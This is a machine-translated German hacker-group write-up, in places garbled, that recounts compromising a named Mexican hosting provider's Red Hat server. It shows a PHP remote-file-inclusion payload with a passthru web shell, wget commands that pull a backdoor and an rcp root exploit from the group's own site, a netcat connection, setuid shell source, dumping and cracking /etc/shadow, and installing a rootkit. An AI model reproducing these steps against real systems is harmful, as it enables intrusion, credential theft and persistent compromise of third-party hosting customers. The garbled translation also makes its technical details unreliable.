This page has been robot translated, sorry for typos if any. Original content here.

Root auf dem Hosting-Anbieter


Einführung
Ich beschloß, dieses spezielle Hacking zu beschreiben, weil es kurz zuvor passiert ist (und in diesem Moment - 23.01.03 - ist der Server noch so in den Händen von DHG), wurde ich auch gebeten, ein paar interessante Hacker zu beschreiben.
Ich möchte nicht, dass diese Geschichte ein Werkzeug für die Gräueltaten anderer Leute ist, also machen wir absichtlich einige Fehler / Ungenauigkeiten (was jedoch jeder fortgeschrittene Benutzer bemerken wird). Nun, auch elementare Dinge wie "Linux-Teams auch an welcher Stelle zu suchen, wie man Exploits kompiliert", werden wir nicht kauen. Also lass uns gehen.

Runde # 1: Fernbedienung.
Im Allgemeinen war das ursprüngliche Ziel das mexikanische Linux-Portal www. ***. Com, das einst von diesem Anbieter gehostet wurde.
Zunächst war es notwendig, die Achse herauszufinden, auf der dieses Portal steht. Obwohl, der Stumpf ist klar, dass die Seite über Linux nicht unter Windows hängen kann. Die http war: "Apache / 1.3.26 (Unix) (Red Hat / Linux) Chili! Soft-ASP / 3.6.2 PHP / 4.1.2", das ftp-Banner lautete:
Managedhosting FTP Server (Version 6.5 / OpenBSD, Linux Port 0.3.2) bereit.
Scan-Ports, cgi-bug'i und all dieser Unsinn, wir wurden nicht - oder eher, beschlossen, auf später zu verschieben. Nun, ich wollte das Essom auch nicht irgendwie abdecken. Also, im FTP-Banner blitzte der Ausdruck "Hosting" auf! Nachdem wir auf Ripnet getippt hatten, entschieden wir uns, direkt zu ip zu wechseln, welches man www. ***. Com. Er brachte mich auf die Seite "managedhosting.dialtoneinternet.com.mx", die offensichtlich sein Hoster war. Später wurde eine kurze manuelle Bruteforce verwendet, um die tatsächliche Hosting-Site zu berechnen: deltatoneinternet.com.mx (www.dialtone.com).
Wir beschlossen, an dieser Stelle auch zu stoppen, um an die Stelle zurückzukehren, die gebrochen wurde. Er stand auf der PHP-Engine "phpWebSite" unbekannter Version. Dieser nächste Klon von php-nuke hatte keinen besonderen Fokus auf Sicherheit. Alle Versionen von PWS bis zu 0.8.2 (sogar mit einer stabilen Marke) hatten eine "Php Source Injection" Schwachstelle. Für diejenigen, über die überhaupt nichts spricht, siehe den r4ShRaY-Artikel über diese Sicherheitsanfälligkeit. Der Rest, lesen Sie weiter. Also, hier ist ein Stück Datei von sorsa modsecurity.php:

<? php
global $ inc_prefix;
if (! $ inc_prefix) {
...
}
...
include_once ($ inc_prefix. "htmlheader.php");
?>

IMHO, sollte alles für alle klar sein. Führen Sie dieses Skript auf ähnliche Weise aus:
http: //www.***.com/modsecurity.php? inc_prefix = http: //www.dhgroup.org
Die Datei htmlheader.php, die auf unserer Seite liegt, wird mit noch-undefined_right ausgeführt. Das einzige, was mich gestört hat, war die Tatsache, dass es auf der angegriffenen Seite eine gepatchte oder eine neuere Version gibt (schließlich ist dies keine Art von 'Vasyas Homepage', sondern ein Portal für kewl-Linux-userz).
Im Allgemeinen haben wir die Datei htmlheader.php auf unserer Website mit folgendem Inhalt erstellt:

<? passthru ("$ cmd")?>

Dann ging ich zur Adresse:
modsecurity.php? inc_prefix = http: //www.dhgroup.org&cmd=ls
Zu welchen wir eine Auflistung des www erhalten haben. # Hinweis dann kritzeln alle Teams ohne "...? inc_prefix = http: // ..."!

Runde # 2: lokal.
> echo hi> kewl.txt; Katze kewl.txt
Bei diesen beiden Teams reagierte der Browser mit einem leeren schneeweißen Bildschirm. Dies hat gezeigt, dass ich keine Rechte habe, in das WWW-Verzeichnis zu schreiben. Das heißt, die Verunstaltung so weit auszudrücken. Bevor weitere Maßnahmen ergriffen wurden, war es notwendig, mehr Informationen über das System zu sammeln. Den Hauptberuf haben wir hinter die httpd.conf Datei geklettert:
> cat /etc/httpd/conf/httpd.conf
Von dort rissen wir die Frontend-Version heraus (nebenbei bemerkt, der HTTP-Header 'Server' schwieg über das Vorhandensein von FrontPage'a) und auch die Route zu den www-Verzeichnissen der Seiten: deltoneinternet.com.mx (broken hosting provider), stormarketing.com, altavistablinds.com, parigitown.com, nun, auch zu mehreren wichtigen Quellen:
# -FrontPage- Version = 4.0
##
## httpd.conf - Apache HTTP Server Konfigurationsdatei
##
...
<VirtualHost 66.33.62.88>
<Verzeichnis / home / admin / www / serversicher>
Optionen alle
AllowOverride Alle
</ Directory>
Servername deltonneinternet.com.mx
ServerAlias ​​www.dialtoneinternet.com.mx
DocumentRoot / home / admin / www
ErrorLog Protokolle / Fehlerprotokoll
TransferLog logs / transfer_log
Gruppe niemand
ScriptAlias ​​/ cgi-bin / / home / admin / www / cgi-bin /
</ Virtualhost>
...
Natürlich sind die Rechte, um sie zu verunstalten, nicht genug, ABER sie reichen völlig aus, um den Frontservice service.pwd (wenn überhaupt) dieser Seiten mit all den Konsequenzen zu sehen;) Wir haben diese Gelegenheit für dieses Abenteuer gelassen, wenn ich es tat kann ihre Privilegien nicht erhöhen.
Außerdem haben wir für Interesse Folgendes eingeführt:
> netstat -a
Was hast du bekommen (# - meine Tags):
  Aktive Internetverbindungen (Server und eingerichtet)
 Proto Recv-Q Send-Q Lokale Adresse Fremdadressstatus 
 tcp 0 1 66.33.62. *: 2114 by.ru:wwww LAST_ACK # (1)
 tcp 0 0 66.33.62. *: www 62.141.75.226 Bor116 EINGESTELLT 
 tcp 0 0 *: www *: * LISTEN 
 tcp 0 0 *: imap2 *: * LISTEN 
 tcp 0 0 *: pop3 *: * LISTEN 
 tcp 0 0 *: ftp *: * LISTEN 
 tcp 0 0 *: 81 *: * LISTEN 
 tcp 0 0 *: https *: * LISTEN # (2)
 tcp 0 0 managedhosting.d: Domäne *: * LISTEN 
 tcp 0 0 managedhosting2.:domain *: * LISTEN 
 tcp 0 0 spacebattles.net:domain *: * LISTEN 
 tcp 0 0 66.33.62. *: Domäne *: * LISTEN 
 tcp 0 0 localhost.locald: domain *: * LISTEN 
 tcp 0 0 *: smtp *: * LISTEN 
 tcp 0 0 *: mysql *: * LISTEN 
 tcp 0 0 *: casp3001 *: * LISTEN 
 tcp 0 0 *: casp3000 *: * LISTEN 
 tcp 0 0 *: casp5105 *: * LISTEN 
 tcp 0 0 *: casp5103 *: * LISTEN 
 tcp 0 0 *: casp5104 *: * LISTEN 
 tcp 0 0 *: 1581 *: * LISTEN 
 tcp 0 0 *: 1024 *: * LISTEN 
 tcp 0 0 *: ssh *: * LISTEN # (3)
 UDP 0 0 *: 4320 *: * 
 udp 0 0 managedhosting.d: Domäne *: * 
 udp 0 0 managedhosting2.:domain *: * 
 udp 0 0 spacebattles.net:domain *: * 
 UDP 0 0 66.33.62. *: Domäne *: * 
 UDP 0 0 localhost.locald: Domäne *: * 
 Roh 0 0 *: UDP *: * 7 
 roh 0 0 *: tcp *: * 7 
 Roh 0 0 *: ICMP *: * 7 
 roh 0 0 *: tcp *: * 7 
 Aktive UNIX-Domain-Sockets (Server und eingerichtet)
 Proto RefCnt Flags Typ Status I-Node Pfad
 Unix 0 [ACC] STREAM HÖREN 552166 /home/httpsd/cache/ssl.socket
 unix 0 [ACC] STREAM HÖREN 2087 /tmp/mysql.sock
 Unix 4 [] DGRAM 290 / dev / log
 UNIX 0 [ACC] STREAMHÖREN 549144 / var / run / ndc
 Unix 0 [] STREAM 565939 
 Unix 0 [] DGRAM 555692 
 Unix 0 [] DGRAM 549142 
 Unix 0 [] DGRAM 3193 
 Unix 0 [] DGRAM 303 
(1) - das ist uns =)
(2) - das Vorhandensein von ssl drückt normalerweise den Austausch von privaten Informationen mit dem Server aus (z. B. cc). Obwohl, für das Hosting ist es in der Reihenfolge der Dinge.
(3) - hier ist es Shell! Es wird uns später nützlich sein.
Das auch Ports mussten nicht gescannt werden :)
Als nächstes war es notwendig, bestimmte Aktionen durchzuführen, oder besser gesagt, zumindest die Version der Überschrift herauszufinden und darauf basierend, weiter zu tanzen. Also, für diejenigen, die nicht wissen, einige (wenn nicht alle) Linux-Distributionen lassen die Datei "* -release" (wobei * der Name der Distribution ist: Alraune-Release, Cobalt-Release ...) im Verzeichnis / etc / Admins haben auch keine Möglichkeit, es zu beheben.
> Katze / etc / redhat-release:
Red Hat Linux Version 6.1 (Cartman)
Obaaaaa, muss ich sagen, das haben wir nicht erwartet :) Alles andere, Blah Blah, war eine Frage der Technik. Um die lang erwartete Wurzel zu erreichen, entschieden wir uns, die RedHat-Schwachstelle in rcp zu verwenden.

Red Hat 6.2: rcp mögliches Wurzelloch
Tatsächlich wurde die Schwachstelle in der Cap 6.2 gefunden. Ungefähr 6.1 in einem Beitrag von Andrew Griffiths und Tlabs sagten kein Wort. In der Hoffnung auf viel Glück haben wir Folgendes vorgestellt:
> ls -alF `welches rcp`
-rwsr-xr-x 1 Wurzel root 14868 Jul 30 1999 / usr / bin / rcp *
Hoppla! Suidny rcp besitzt die Voraussetzungen dafür! Es ist schon gut :) Ich habe zu mir selbst "rcpsploit.pl" von tlabs plus ausgefüllt, die Quelle studiert, angehalten. Ich werde vielleicht erklären, wie dieser Exploit funktioniert - vielleicht wird er Ihnen helfen, das Wesen der Anfälligkeit des Problems zu verstehen, das auch entstanden ist.
Er erstellt also 2 Dateien:
/tmp/shell.c---------------------

#include
#include
int Haupt ()
{
Setuid (0);
Setgid (0);
execl ("/ bin / sh", "sh", 0);
zurückgeben 0;
}


hey ------------------------------
Thanksgiving für den Fehlerbericht

Dann, durch rcp suedny, kompilieren die Shell.c kompilieren auch chmod'om handelt es so blah sudnym. Hier auch alles! Wir starten die kompilierte Shell und erhalten die Shell mit uid = 0, gid = 0. Aber was nutzt diese Shell für uns, wenn wir Befehle über einen Webserver ausführen? : - /
Es war erlaubt, diesen Exploit nur für die "normale" Shell zu verwenden.
Brauchen Sie eine Muschel? Er wird! In meinem Warez-Archiv hat sich schon lange eine kleine Graupen angesammelt, die wir uns auch ausgesucht haben:
> wget -o = / tmp / .tmp.pl http://www.dhgroup.org/exp/backhole.pl
> chmod 755 /.tmp/tmp.pl
> perl /tmp/.tmp.pl
Weiter auf Ihrem Computer:
> nc ***. com 51015
Durch die Verbindung:
> CD / Tmp
> wget -c http://www.dhgroup.org/exp/rcpsploit.pl
> chmod 755 rcpsploit.pl; perl rcpsploit.pl
Ok, zu einfach, wir müssen gut gehen :)
> id
uid = 0 (root) gid = 0 (root) Gruppen = 0 (root), 1 (bin), 2 (Daemon), 3 (sys), 4 (adm), 6 (disk), 10 (rad)
Hier auch alles :) Nun, auch der letzte:
> Katze / etc / Schatten
Wurzel: ###: 11961: 0: 99999: 7: -1: -1: 134549964
bin: *: 10925: 0: 99999: 7 :::
daemon: *: 10925: 0: 99999: 7 :::
adm: ###: 11577: 0: 99999: 7: -1: -1: 134549852
... usw.
JTR zählte 977 Passwörter%) Um die Suche zu beschleunigen, haben wir eingegeben:
John -i: alle -u: Wurzel Schatten
Irgendwo 8 Stunden und ... der lang erwartete Moment:




Dann goss ich lrk hinein, ein paar Datenleitungen auch bnc ... obwohl das eine andere Geschichte ist ....

Was beim Hacking verwendet wurde:
Netscape v.xz
SecureCRT 3.1
Netcat
John der Aufreißer
backhole.pl
rcpsploit.pl
Gehirne
PaketStormSicherheit

Schlussfolgerungen \ Kommentare \ Kommentare:
1. Wenn der eine oder andere Server sich selbst als Hosting-Provider oder Linux-Portal bezeichnet - heißt das nicht, dass er gut geschützt ist.
2. Während des Hackens sollten Sie keine spezielle Aussage über Ihre IP machen (dieser Artikel wird auch in Zukunft noch existieren).
3. Beim Hacken wurde die sogenannte "Hacker" -Software fast nie benutzt.
4. RH6. * - nichts essen :)

PS IMHO, könnte der Leser den Eindruck bekommen, dass ich nur Glück gehabt habe, auch das allgemeine Hacking dauerte ein paar Minuten. Das ist nicht der Fall. Es gab Momente zu welcher Zeit sie einfach losließen, zu welcher Zeit ich mit meinem Kopf gegen die Wand kämpfen wollte.

Gepostet von: D4rkGr3y


Material mit freundlicher Genehmigung von DHGROUP (http://www.dhgroup.org)